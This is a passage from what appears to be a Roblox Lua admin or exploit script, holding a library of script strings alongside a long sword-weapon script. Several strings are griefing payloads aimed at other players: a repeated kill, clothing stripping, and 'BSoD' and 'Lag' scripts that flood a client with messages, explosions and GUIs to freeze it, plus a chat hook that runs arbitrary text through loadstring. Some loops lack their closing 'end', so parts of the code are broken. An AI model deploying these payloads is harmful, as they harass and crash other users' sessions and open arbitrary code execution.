  7217. end -- bool end
  7218. end -- func end
  7219. local pla = pa(su,"","Block",7,1,7,true,true,1,0,"White")
  7220. function ButtonDown() if Anim~="None" then return end
  7221. to.Velocity=v3(0,0,0) if hu.Jump then GlowMesh(false,"Sphere",t,v3(8,2,8),'White',to.CFrame*cn(0,-2,0),0.1,1,0.05) GlowMesh(false,Decs.Crown,t,v3(5,3,5),'White',to.CFrame*cn(0,-1.5,0)*ca(rd(180),0,0),0.1,1,0.05) to.CFrame=to.CFrame*cn(0,20,0)
  7222. hu.Jump=false GlowMesh(false,"Sphere",t,v3(8,2,8),'Navy blue',to.CFrame*cn(0,-4,0),0.1,1,0.05)
  7223. else GlowMesh(false,"Sphere",t,v3(8,10,2),'Navy blue',to.CFrame,0.1,1,0.05)
  7224. GlowMesh(false,Decs.Crown,t,v3(5,3,5),'Navy blue',to.CFrame*cn(0,0,1)*ca(rd(90),0,0),0.1,1,0.05) to.CFrame=to.CFrame*cn(0,0,-12) GlowMesh(false,"Sphere",t,v3(8,10,2),'White',to.CFrame*cn(0,0,1),0.1,1,0.05) end
  7225. pla.CFrame= to.CFrame*cn(0,-3.4,0) local orpos = pla.Position repeat wait(0.5) GlowMesh(false,"Sphere",t,v3(14,1,14),'Navy blue',cn(orpos)*cn(0,0.5,0),0.1,1,0.02) until pla.Position~=orpos or (pla.Position-to.Position).magnitude>10
  7226. to.Velocity=v3(0,0,0)
  7227. end
  7228. pl.Chatted:connect(function(ms) local m = ms:lower() if su.Parent == nil then return end
  7229. if m=="tkon" then tk = true
  7230. elseif m=="tkoff" then tk = false
  7231. elseif m == "rake" and Anim=="None" then Anim = "Special"
  7232. for i=1,8 do FistBoom(to.CFrame*ca(0,rd((360/8)*i),0)*cn(0,3,-6),1.5,rn(d[1]*2,d[2]*2),15) end wait(2) Anim="None"
  7233. elseif m == "torn" and Anim=="None" then Anim = "Special"
  7234. for i=1,10 do SpawnTornado(t.CFrame*cn(0,3,0)*ca(0,rd((360/10)*i),0)*cn(0,0,-2.5),1.5,1.5,8) end Anim = "None"
  7235. elseif m == "blast" and Anim=="None" then Anim = "Special"
  7236. for i=1,10 do MatterBall(to.CFrame*ca(0,rd((360/10)*i),0)*cn(0,1.5,-2.5),6,5,30,1.5) end Anim = "None"
  7237. elseif m:sub(1,2) == "s/" then q(function() loadstring(ms:sub(3))() end)
  7238. end end)
  7239. bin = it("HopperBin",bp) --bin = it("Tool") it("Part",bin).Name = "Handle"
  7240. bin.Name = sn
  7241. ---- TUT03Cobalt1164
  7242. bin.Selected:connect(function(mouse2) mouse = mouse2
  7243. mouse.KeyDown:connect(function(k) ky[k:lower()] = true
  7244. Act(k:lower(),true) end)
  7245. mouse.KeyUp:connect(function(k) ky[k:lower()] = false
  7246. Act(k:lower(),false) end)
  7247. mouse.Button1Down:connect(function() ButtonDown() end)
  7248. end)
  7249. ---- TUT04Cobalt1164
  7250. bin.Deselected:connect(function()
  7251. end)
  7252. --bin.Parent = c
  7253. fac = false local bgg = it('BodyGyro',to)
  7254. ---- TUT05Cobalt1164
  7255. q(function() while wait() do
  7256. if caw then hu.WalkSpeed = wss else hu.WalkSpeed = 0 end
  7257. if fac then bgg.maxTorque = v3(1/0,1/0,1/0) bgg.D = 50 bgg.cframe = cn(to.Position,v3(mouse.hit.p.x,to.Position.y,mouse.hit.p.z)) else bgg.maxTorque = v3(0,0,0) end
  7258. end end)
  7259. ]]
  7260. LoopJump = [[
  7261.     char = game:service'Players'.LocalPlayer.Character
  7262.     for i = 1, 1500 do
  7263.     char.Humanoid.Jump = true
  7264. ]]
  7265. LoopKill = [[
  7266.     char = game:service'Players'.LocalPlayer.Character
  7267.     for i = 1, 1500 do
  7268.     char.Humanoid.Health = 0
  7269. ]]
  7270. Nkd = [[
  7271.     char = game:service'Players'.LocalPlayer.Character
  7272.     char:FindFirstChild("Shirt"):Remove()
  7273.     char:FindFirstChild("Pants"):Remove()
  7274. ]]
  7275. Noob = [[
  7276.     char = game:service'Players'.LocalPlayer.Character
  7277.     char:FindFirstChild("Head").BrickColor = BrickColor.new("Bright yellow")
  7278.     char:FindFirstChild("Torso").BrickColor = BrickColor.new("Bright green")
  7279.     char:FindFirstChild("Right Leg").BrickColor = BrickColor.new("Bright blue")
  7280.     char:FindFirstChild("Left Leg").BrickColor = BrickColor.new("Bright blue")
  7281.     char:FindFirstChild("Right Arm").BrickColor = BrickColor.new("Bright yellow")
  7282.     char:FindFirstChild("Left Arm").BrickColor = BrickColor.new("Bright yellow")
  7283. ]]
  7284. Shiny = [[
  7285.     char = game:service'Players'.LocalPlayer.Character
  7286.     char:FindFirstChild("Head").Reflectance = 1
  7287.     char:FindFirstChild("Torso").Reflectance = 1
  7288.     char:FindFirstChild("Right Leg").Reflectance = 1
  7289.     char:FindFirstChild("Left Leg").Reflectance = 1
  7290.     char:FindFirstChild("Right Arm").Reflectance = 1
  7291.     char:FindFirstChild("Left Arm").Reflectance = 1
  7292. ]]
  7293. Unshiny = [[
  7294.     char = game:service'Players'.LocalPlayer.Character
  7295.     char:FindFirstChild("Head").Reflectance = 0
  7296.     char:FindFirstChild("Torso").Reflectance = 0
  7297.     char:FindFirstChild("Right Leg").Reflectance = 0
  7298.     char:FindFirstChild("Left Leg").Reflectance = 0
  7299.     char:FindFirstChild("Right Arm").Reflectance = 0
  7300.     char:FindFirstChild("Left Arm").Reflectance = 0
  7301. ]]
  7302. Invisible = [[
  7303.     char = game:service'Players'.LocalPlayer.Character
  7304.     char:FindFirstChild("Head").Transparency = 1
  7305.     char:FindFirstChild("Torso").Transparency = 1
  7306.     char:FindFirstChild("Right Leg").Transparency = 1
  7307.     char:FindFirstChild("Left Leg").Transparency = 1
  7308.     char:FindFirstChild("Right Arm").Transparency = 1
  7309.     char:FindFirstChild("Left Arm").Transparency = 1
  7310.    
  7311.    
  7312. ]]
  7313. Ghostify = [[
  7314.     char = game:service'Players'.LocalPlayer.Character
  7315.     char:FindFirstChild("Head").Transparency = 0.5
  7316.     char:FindFirstChild("Torso").Transparency = 0.5
  7317.     char:FindFirstChild("Right Leg").Transparency = 0.5
  7318.     char:FindFirstChild("Left Leg").Transparency = 0.5
  7319.     char:FindFirstChild("Right Arm").Transparency = 0.5
  7320.     char:FindFirstChild("Left Arm").Transparency = 0.5
  7321. ]]
  7322. Visible = [[
  7323.     char = game:service'Players'.LocalPlayer.Character
  7324.     char:FindFirstChild("Head").Transparency = 0
  7325.     char:FindFirstChild("Torso").Transparency = 0
  7326.     char:FindFirstChild("Right Leg").Transparency = 0
  7327.     char:FindFirstChild("Left Leg").Transparency = 0
  7328.     char:FindFirstChild("Right Arm").Transparency = 0
  7329.     char:FindFirstChild("Left Arm").Transparency = 0
  7330. ]]
  7331. BSoDSource = [[
  7332.     wait()
  7333.     script.Parent = game:service'TeleportService'
  7334.     CC = game.Workspace.CurrentCamera
  7335.     RS = game:service("RunService")
  7336.     PG = game.Players.LocalPlayer.PlayerGui
  7337.     C = game.Players.LocalPlayer.Character
  7338.     function Lag()
  7339.         coroutine.resume(coroutine.create(function()
  7340.             while wait() do
  7341.                 M = Instance.new("Message",CC)
  7342.                 M.Text = tick()*math.floor(5%4*21)
  7343.                 H = Instance.new("Hint",CC)
  7344.                 H.Text = 'Get out from this place!'
  7345.                 SG=Instance.new("ScreenGui",PG)
  7346.                 FR=Instance.new("Frame",SG)
  7347.                 FR.Size = UDim2.new(500,500,500,500)
  7348.                 while wait() do
  7349.                     FR.BackgroundColor3 = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255))
  7350.                 end
  7351.                 P=Instance.new("Part",CC)
  7352.                 E=Instance.new("Explosion",P)
  7353.                 E.BlastRadius=math.huge
  7354.                 E.Position=P.Position
  7355.                 F=Instance.new("Fire",P)
  7356.                 S=Instance.new("Smoke",P)
  7357.                 P.CFrame = CC.Focus
  7358.                 P.Anchored = true
  7359.                 P.CanCollide = false
  7360.                 P.AncestryChanged:connect(function()Lag()end)
  7361.                 for _,v in pairs(C:GetChildren()) do pcall(function()v.Anchored=true end) end
  7362.             end
  7363.         end))
  7364.     end
  7365.     RS.Stepped:connect(function()for i=1,10 do Lag()Lag()Lag()end end)
  7366. ]]
  7367. LagSource = [[
  7368.     wait(0)
  7369.     script.Parent = nil
  7370.     plr = game:GetService("Players").LocalPlayer
  7371.     local plrgui = plr:findFirstChild("PlayerGui")
  7372.     if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
  7373.     while plr.Parent == game:GetService("Players") do
  7374.     wait()
  7375.     for i = 1, 1000 do
  7376.     local sc = Instance.new("ScreenGui",plrgui)
  7377.     local fr = Instance.new("TextLabel",sc)
  7378.     fr.Text = "You are now being Lagged,Have fun."
  7379.     fr.Size = UDim2.new(1, 0, 1, 0)
  7380.     fr.FontSize = "Size48"
  7381.     end
  7382.     end
  7383. ]]
  7384. YamatoSword = [[
  7385. Player = game:GetService("Players").LocalPlayer
  7386. Character = Player.Character
  7387. PlayerGui = Player.PlayerGui
  7388. Backpack = Player.Backpack
  7389. Torso = Character.Torso
  7390. Head = Character.Head
  7391. LeftArm = Character["Left Arm"]
  7392. LeftLeg = Character["Left Leg"]
  7393. RightArm = Character["Right Arm"]
  7394. RightLeg = Character["Right Leg"]
  7395. LS = Torso["Left Shoulder"]
  7396. LH = Torso["Left Hip"]
  7397. RS = Torso["Right Shoulder"]
  7398. RH = Torso["Right Hip"]
  7399. ModelName = "Weapon"
  7400. ToolName = "Yamato"
  7401. attack = false
  7402. attacktype = 1
  7403. mindamage = 15
  7404. maxdamage = 25
  7405. crtmaxdamage = 45
  7406. omindamage = 15
  7407. omaxdamage = 25
  7408. ocrtmaxdamage = 45
  7409. crtrate = 12
  7410. fireboost = 0
  7411. iceboost = 0
  7412. darkboost = 0
  7413. Mode = "None"
  7414. ssh = false
  7415. atktypez = 1
  7416. Hitdeb = 0
  7417. ammo = 1
  7418. MMouse = nil
  7419. point = false
  7420. offset = 0
  7421. radv = 90
  7422. ----------------------------
  7423. --Customize
  7424. DarkFire = true
  7425. MaxFT = 40
  7426.  
  7427.  
  7428.  
  7429. ---------------------------------------------------------------------------------------------------------------------------------------
  7430. if Character:findFirstChild("EquippedVal",true) ~= nil then
  7431. Character:findFirstChild("EquippedVal",true).Parent = nil
  7432. end
  7433. ev = Instance.new("BoolValue")
  7434. ev.Parent = Character
  7435. ev.Name = "EquippedVal"
  7436. ev.Value = false
  7437. --player
  7438. player = nil
  7439. --welds
  7440. RW, LW , RWL, LWL = Instance.new("Weld"), Instance.new("Weld"), Instance.new("Weld"), Instance.new("Weld")
  7441. --what anim
  7442. anim = "none"
  7443. --other var
  7444. player = Player
  7445. ch = Character
  7446. --save shoulders
  7447. AoETrue = {}
  7448. RSH, LSH , RHL, LHL = ch.Torso["Right Shoulder"], ch.Torso["Left Shoulder"] , ch.Torso["Right Hip"] , ch.Torso["Left Hip"]
  7449.  
  7450. function RWFunc()
  7451.  RW.Part1 = ch["Right Arm"]
  7452.  RSH.Part1 = nil
  7453. end
  7454. function LWFunc()
  7455.  LW.Part1 = ch["Left Arm"]
  7456.  LSH.Part1 = nil
  7457. end
  7458. function RWLFunc()
  7459.  RWL.Part1 = ch["Right Leg"]
  7460.  RHL.Part1 = nil
  7461.  ch["Right Leg"].Name = "RightLeg"
  7462.  RightLeg.CanCollide = false
  7463. end
  7464. function LWLFunc()
  7465.  LWL.Part1 = ch["Left Leg"]
  7466.  LHL.Part1 = nil
  7467.  ch["Left Leg"].Name = "LeftLeg"
  7468.  LeftLeg.CanCollide = true
  7469. end
  7470. function RWLRem()
  7471.  RightLeg.Name = "Right Leg"
  7472.  RWL.Part1 = nil
  7473.  RHL.Part1 = ch["Right Leg"]
  7474.  RightLeg.CanCollide = false
  7475. end
  7476. function LWLRem()
  7477.  LeftLeg.Name = "Left Leg"
  7478.  LWL.Part1 = nil
  7479.  LHL.Part1 = ch["Left Leg"]
  7480.  LeftLeg.CanCollide = false
  7481. end
  7482. function RWRem()
  7483.  RW.Part1 = nil
  7484.  RSH.Part1 = ch["Right Arm"]
  7485. end
  7486. function LWRem()
  7487.  LW.Part1 = nil
  7488.  LSH.Part1 = ch["Left Arm"]
  7489. end
  7490.  
  7491.  
  7492. if Character:findFirstChild(ModelName,true) ~= nil then
  7493. Character:findFirstChild(ModelName,true).Parent = nil
  7494.  RHL.Part1 = ch["Right Leg"]
  7495.  LHL.Part1 = ch["Left Leg"]
  7496.  RSH.Part1 = ch["Right Arm"]
  7497.  LSH.Part1 = ch["Left Arm"]
  7498. end
  7499.  
  7500.  
  7501.  
  7502. local swordholder = Instance.new("Model")
  7503. swordholder.Name = ModelName
  7504. swordholder.Parent = Character
  7505. --derp
  7506.  RW.Part0 = ch.Torso
  7507.  RW.C0 = CFrame.new(1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
  7508.  RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
  7509.  RW.Parent = swordholder
  7510.  --
  7511.  LW.Part0 = ch.Torso
  7512.  LW.C0 = CFrame.new(-1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8)
  7513.  LW.C1 = CFrame.new(0, 0.5, 0)
  7514.  LW.Parent = swordholder
  7515.  --
  7516.  RWL.Part0 = ch.Torso
  7517.  RWL.C0 = CFrame.new(1, -1, 0) --* CFrame.fromEulerAnglesXYZ(1.3, 0, -0.5)
  7518.  RWL.C1 = CFrame.new(0.5, 1, 0)
  7519.  RWL.Parent = swordholder
  7520.  --
  7521.  LWL.Part0 = ch.Torso
  7522.  LWL.C0 = CFrame.new(-1, -1, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8)
  7523.  LWL.C1 = CFrame.new(-0.5, 1, 0)
  7524.  LWL.Parent = swordholder
  7525. handlecolor = BrickColor.new("Really black")
  7526. scndryclr = BrickColor.new("Bright violet")
  7527. firepri = BrickColor.new("Bright red")
  7528. icepri = BrickColor.new("Bright blue")
  7529. local msh1 = Instance.new("CylinderMesh")
  7530. msh1.Scale = Vector3.new(1,1,1)
  7531. local msh2 = Instance.new("BlockMesh")
  7532. msh2.Scale = Vector3.new(1,1,1)
  7533. --
  7534. local msh3 = Instance.new("BlockMesh")
  7535. msh3.Scale = Vector3.new(1,1,1)
  7536. local msh3a = Instance.new("SpecialMesh")
  7537. msh3a.Scale = Vector3.new(1,1,1)
  7538. msh3a.MeshType = "Wedge"
  7539. local msh4 = Instance.new("BlockMesh")
  7540. msh4.Scale = Vector3.new(1,1,1)
  7541. local msh4a = Instance.new("SpecialMesh")
  7542. msh4a.Scale = Vector3.new(1,1,1)
  7543. msh4a.MeshType = "Wedge"
  7544. --
  7545. local msh5 = Instance.new("SpecialMesh")
  7546. msh5.Scale = Vector3.new(1,1,2)
  7547. msh5.MeshId = "http://www.roblox.com/asset/?id=3270017"
  7548. local msh6 = Instance.new("BlockMesh")
  7549. msh6.Scale = Vector3.new(1,1,0.5)
  7550. local msh7 = Instance.new("BlockMesh")
  7551. msh7.Scale = Vector3.new(1,1,1)
  7552. local msh8 = Instance.new("BlockMesh")
  7553. msh8.Scale = Vector3.new(0.5,1,1)
  7554. local prt1 = Instance.new("Part")
  7555. prt1.formFactor = 3
  7556. prt1.CanCollide = false
  7557. prt1.Name = "Handle"
  7558. prt1.Locked = true
  7559. prt1.Size = Vector3.new(0.2,1.5,0.2)
  7560. prt1.Parent = swordholder
  7561. msh1.Parent = prt1
  7562. prt1.BrickColor = handlecolor
  7563. local prt2 = Instance.new("Part")
  7564. prt2.formFactor = 3
  7565. prt2.CanCollide = false
  7566. prt2.Name = "HandleTop"
  7567. prt2.Locked = true
  7568. prt2.Size = Vector3.new(1.6,0.2,0.5)
  7569. prt2.Parent = swordholder
  7570. msh2.Parent = prt2
  7571. prt2.BrickColor = scndryclr
  7572. ---
  7573. local prt3 = Instance.new("Part")
  7574. prt3.formFactor = 3
  7575. prt3.CanCollide = false
  7576. prt3.Name = "FlameBlade"
  7577. prt3.Locked = true
  7578. prt3.Size = Vector3.new(0.4,3,0.2)
  7579. prt3.Parent = swordholder
  7580. msh3.Parent = prt3
  7581. prt3.BrickColor = firepri
  7582. prt3.Reflectance = 0
  7583. local prt3a = Instance.new("Part")
  7584. prt3a.formFactor = 3
  7585. prt3a.CanCollide = false
  7586. prt3a.Name = "FlameBladeP1"
  7587. prt3a.Locked = true
  7588. prt3a.Size = Vector3.new(0.2,1,0.4)
  7589. prt3a.Parent = swordholder
  7590. msh3a.Parent = prt3a
  7591. prt3a.BrickColor = firepri
  7592. prt3a.Reflectance = 0
  7593. --
  7594. local prt4 = Instance.new("Part")
  7595. prt4.formFactor = 3
  7596. prt4.CanCollide = false
  7597. prt4.Name = "FrostBlade"
  7598. prt4.Locked = true
  7599. prt4.Size = Vector3.new(0.4,3,0.2)
  7600. prt4.Parent = swordholder
  7601. msh4.Parent = prt4
  7602. prt4.BrickColor = icepri
  7603. prt4.Reflectance = 0.5
  7604. local prt4a = Instance.new("Part")
  7605. prt4a.formFactor = 3
  7606. prt4a.CanCollide = false
  7607. prt4a.Name = "FrostBladeP1"
  7608. prt4a.Locked = true
  7609. prt4a.Size = Vector3.new(0.2,1,0.4)
  7610. prt4a.Parent = swordholder
  7611. msh4a.Parent = prt4a
  7612. prt4a.BrickColor = icepri
  7613. prt4a.Reflectance = 0.5
  7614. --
  7615. local prt5 = Instance.new("Part")
  7616. prt5.formFactor = 3
  7617. prt5.CanCollide = false
  7618. prt5.Name = "HandleRing"
  7619. prt5.Locked = true
  7620. prt5.Size = Vector3.new(1,1,0.2)
  7621. prt5.Parent = swordholder
  7622. msh5.Parent = prt5
  7623. prt5.BrickColor = scndryclr
  7624. prt5.Reflectance = 0
  7625. local DFlame = Instance.new("Fire")
  7626. DFlame.Parent = prt5
  7627. DFlame.Color = Color3.new(0.5,0,0.5)
  7628. DFlame.SecondaryColor = Color3.new(0.5,0,0.5)
  7629. DFlame.Heat = 25
  7630. DFlame.Size = 1
  7631. DFlame.Enabled = DarkFire
  7632. local prt6 = Instance.new("Part")
  7633. prt6.formFactor = 3
  7634. prt6.CanCollide = false
  7635. prt6.Name = "HandleP1"
  7636. prt6.Locked = true
  7637. prt6.Size = Vector3.new(0.2,1.5,0.2)
  7638. prt6.Parent = swordholder
  7639. msh6.Parent = prt6
  7640. prt6.BrickColor = scndryclr
  7641. prt6.Reflectance = 0
  7642. local prt7 = Instance.new("Part")
  7643. prt7.formFactor = 3
  7644. prt7.CanCollide = false
  7645. prt7.Name = "HandleP2"
  7646. prt7.Locked = true
  7647. prt7.Size = Vector3.new(0.7,0.2,0.2)
  7648. prt7.Parent = swordholder
  7649. msh7.Parent = prt7
  7650. prt7.BrickColor = scndryclr
  7651. prt7.Reflectance = 0
  7652. local prt8 = Instance.new("Part")
  7653. prt8.formFactor = 3
  7654. prt8.CanCollide = false
  7655. prt8.Name = "DarkBlade"
  7656. prt8.Locked = true
  7657. prt8.Size = Vector3.new(0.2,4,0.2)
  7658. prt8.Parent = swordholder
  7659. msh8.Parent = prt8
  7660. prt8.BrickColor = handlecolor
  7661. prt8.Transparency = 1
  7662. local hitbox = Instance.new("Part")
  7663. hitbox.formFactor = 3
  7664. hitbox.CanCollide = false
  7665. hitbox.Name = "Hitbox"
  7666. hitbox.Locked = true
  7667. hitbox.Size = Vector3.new(1,4,0.2)
  7668. hitbox.Parent = swordholder
  7669. hitbox.Transparency = 1
  7670. local hbw = Instance.new("Weld")
  7671. hbw.Parent = hitbox
  7672. hbw.Part0 = hitbox
  7673. hbw.Part1 = prt1
  7674. hbw.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0)
  7675. hbw.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,0) * CFrame.new(0, -2.95, 0)
  7676.  
  7677. local w1 = Instance.new("Weld")
  7678. w1.Parent = prt1
  7679. w1.Part0 = prt1
  7680. local w2 = Instance.new("Weld")
  7681. w2.Parent = prt2
  7682. w2.Part0 = prt2
  7683. w2.Part1 = prt1
  7684. w2.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0)
  7685. w2.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,0) * CFrame.new(0, -0.85, 0)
  7686. --
  7687. local w3 = Instance.new("Weld")
  7688. w3.Parent = prt3
  7689. w3.Part0 = prt3
  7690. w3.Part1 = prt1
  7691. w3.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0)
  7692. w3.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,0) * CFrame.new(0.25, -2.45, 0)
  7693. local w3a = Instance.new("Weld")
  7694. w3a.Parent = prt3a
  7695. w3a.Part0 = prt3a
  7696. w3a.Part1 = prt1
  7697. w3a.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0)
  7698. w3a.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(-90),0) * CFrame.new(0.25, -4.45, 0)
  7699. local w4 = Instance.new("Weld")
  7700. w4.Parent = prt4
  7701. w4.Part0 = prt4
  7702. w4.Part1 = prt1
  7703. w4.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0)
  7704. w4.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,0) * CFrame.new(-0.25, -2.45, 0)
  7705. local w4a = Instance.new("Weld")
  7706. w4a.Parent = prt4a
  7707. w4a.Part0 = prt4a
  7708. w4a.Part1 = prt1
  7709. w4a.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0)
  7710. w4a.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(90),0) * CFrame.new(-0.25, -4.45, 0)
  7711. --
  7712. local w5 = Instance.new("Weld")
  7713. w5.Parent = prt5
  7714. w5.Part0 = prt5
  7715. w5.Part1 = prt1
  7716. w5.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0)
  7717. w5.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,0) * CFrame.new(-0, -0.85, 0)
  7718. local w6 = Instance.new("Weld")
  7719. w6.Parent = prt6
  7720. w6.Part0 = prt6
  7721. w6.Part1 = prt1
  7722. w6.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0)
  7723. w6.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,0) * CFrame.new(-0.5, -0, 0)
  7724. local w7 = Instance.new("Weld")
  7725. w7.Parent = prt7
  7726. w7.Part0 = prt7
  7727. w7.Part1 = prt1
  7728. w7.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0)
  7729. w7.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,0) * CFrame.new(-0.25, 0.75, 0)
  7730. local w8 = Instance.new("Weld")
  7731. w8.Parent = prt8
  7732. w8.Part0 = prt8
  7733. w8.Part1 = prt1
  7734. w8.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0)
  7735. w8.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,0) * CFrame.new(0, -2.95, 0)
  7736. for ringi = 0 , math.rad(350) , math.rad(50) do
  7737. local ringm = Instance.new("BlockMesh")
  7738. ringm.Scale = Vector3.new(1,1.5,1)
  7739. local ringp = Instance.new("Part")
  7740. ringp.formFactor = 3
  7741. ringp.CanCollide = false
  7742. ringp.Name = "HandleRingP"..ringi
  7743. ringp.Locked = true
  7744. ringp.Size = Vector3.new(0.2,0.2,0.2)
  7745. ringp.Parent = swordholder
  7746. ringm.Parent = ringp
  7747. ringp.BrickColor = scndryclr
  7748. ringp.Reflectance = 0.1
  7749. local ringw = Instance.new("Weld")
  7750. ringw.Parent = ringp
  7751. ringw.Part0 = ringp
  7752. ringw.Part1 = prt5
  7753. ringw.C1 = CFrame.fromEulerAnglesXYZ(math.rad(90), -ringi, 0) * CFrame.new(0, 0 , 0)
  7754. ringw.C0 = CFrame.fromEulerAnglesXYZ(0, 0,0) * CFrame.new(-msh5.Scale.x/1.625, 0, 0) --* CFrame.new(-0.6, 0, 0) ---msh5.Scale.z/3.25
  7755. end
  7756.  
  7757. local Objects = {}
  7758. function getAllObjects(obj)
  7759.  for a,v in pairs(obj:GetChildren()) do
  7760.   if v:IsA("BasePart") then
  7761.    table.insert(Objects,v)
  7762.     end
  7763.     if #v:GetChildren() > 0 then
  7764.    getAllObjects(v)
  7765.   end
  7766.  end
  7767. end
  7768. getAllObjects(Workspace)
  7769. function Raycast(Start,End,Range)
  7770. --
  7771. for ii = 0 , #Objects do
  7772. table.remove(Objects,ii)
  7773. end
  7774. getAllObjects(Workspace)
  7775.  local MA = math.abs
  7776.   local CF = CFrame.new(Start,End)
  7777.    local CP = Start
  7778.     for i = 1, Range do--(Start - End).magnitude do
  7779.      for b,v in pairs(Objects) do
  7780.       if v.Parent ~= nil then
  7781.        local pos = Start + (CF.lookVector*i)
  7782.         local dist = v.CFrame:pointToObjectSpace(pos)
  7783.        if MA(dist.x) < v.Size.x/2 and MA(dist.y) < v.Size.y/2 and MA(dist.z) < v.Size.z/2 then
  7784.         if v.Parent ~= Character or v.Parent ~= swordholder or v.Parent.Parent ~= Character then
  7785.       return v,Start,pos
  7786.       end
  7787.      end
  7788.     end
  7789.    end
  7790.   end
  7791.  return nil,Start,End
  7792. end
  7793. local RAP = Instance.new("Part")
  7794. RAP.formFactor = 0
  7795. RAP.CanCollide = false
  7796. RAP.Name = "RAPart"
  7797. RAP.Locked = true
  7798. RAP.Size = Vector3.new(1,1,1)
  7799. RAP.Parent = swordholder
  7800. RAP.Transparency = 1
  7801. local w = Instance.new("Weld")
  7802. w.Parent = RAP
  7803. w.Part0 = RAP
  7804. w.Part1 = RightArm
  7805. w.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
  7806. w.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0, 0) * CFrame.new(0, 1, 0)
  7807.  
  7808. function unequipweld()
  7809. w1.Part1 = Torso
  7810. w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), math.rad(0)) * CFrame.new(0, 0,0)
  7811. w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0),math.rad(180), math.rad(-150)) * CFrame.new(-1, -1.5, -0.6)
  7812. end
  7813. unequipweld()
  7814.  
  7815. function equipweld()
  7816. w1.Part1 = RAP
  7817. w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
  7818. w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90)) * CFrame.new(0, 0, 0.2)
  7819. end
  7820.  
  7821. function ss(parent,p) --Slash
  7822. local SlashSound = Instance.new("Sound")
  7823. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  7824. SlashSound.Parent = parent
  7825. SlashSound.Volume = .7
  7826. SlashSound.Pitch = p
  7827. SlashSound.PlayOnRemove = true
  7828. coroutine.resume(coroutine.create(function()
  7829. wait()
  7830. SlashSound.Parent = nil
  7831. end))
  7832. end
  7833. function uss(parent,p) --unsheath
  7834. local SlashSound = Instance.new("Sound")
  7835. SlashSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  7836. SlashSound.Parent = parent
  7837. SlashSound.Volume = .7
  7838. SlashSound.Pitch = p
  7839. SlashSound.PlayOnRemove = true
  7840. coroutine.resume(coroutine.create(function()
  7841. wait()
  7842. SlashSound.Parent = nil
  7843. end))
  7844. end
  7845. function cs(parent,p) --Magic Charge
  7846. local SlashSound = Instance.new("Sound")
  7847. SlashSound.SoundId = "http://www.roblox.com/asset/?id=2101137"
  7848. SlashSound.Parent = parent
  7849. SlashSound.Volume = .7
  7850. SlashSound.Pitch = p
  7851. SlashSound.PlayOnRemove = true
  7852. coroutine.resume(coroutine.create(function()
  7853. wait()
  7854. SlashSound.Parent = nil
  7855. end))
  7856. end
  7857. function ls(parent,p) --Lazer Sound
  7858. local SlashSound = Instance.new("Sound")
  7859. SlashSound.SoundId = "http://www.roblox.com/asset?id=1369158"
  7860. SlashSound.Parent = parent
  7861. SlashSound.Volume = .7
  7862. SlashSound.Pitch = p
  7863. SlashSound.PlayOnRemove = true
  7864. coroutine.resume(coroutine.create(function()
  7865. wait()
  7866. SlashSound.Parent = nil
  7867. end))
  7868. end
  7869. function is(parent,p) --Ice Sound
  7870. local SlashSound = Instance.new("Sound")
  7871. local rndm = math.random(1,3)
  7872. if rndm == 1 then
  7873. SlashSound.SoundId = "rbxasset://sounds\\ice.ogg"
  7874. elseif rndm == 2 then
  7875. SlashSound.SoundId = "rbxasset://sounds\\ice2.ogg"
  7876. elseif rndm == 3 then
  7877. SlashSound.SoundId = "rbxasset://sounds\\ice3.ogg"
  7878. end
  7879. SlashSound.Parent = parent
  7880. SlashSound.Volume = .7
  7881. SlashSound.Pitch = p
  7882. SlashSound.PlayOnRemove = true
  7883. coroutine.resume(coroutine.create(function()
  7884. wait()
  7885. SlashSound.Parent = nil
  7886. end))
  7887. end
  7888. function fs(parent,p) --Fire Sound
  7889. local SlashSound = Instance.new("Sound")
  7890. SlashSound.SoundId = "http://www.roblox.com/asset/?id=31758982"
  7891. SlashSound.Parent = parent
  7892. SlashSound.Volume = .7
  7893. SlashSound.Pitch = p
  7894. SlashSound.PlayOnRemove = true
  7895. coroutine.resume(coroutine.create(function()
  7896. wait()
  7897. SlashSound.Parent = nil
  7898. end))
  7899. end
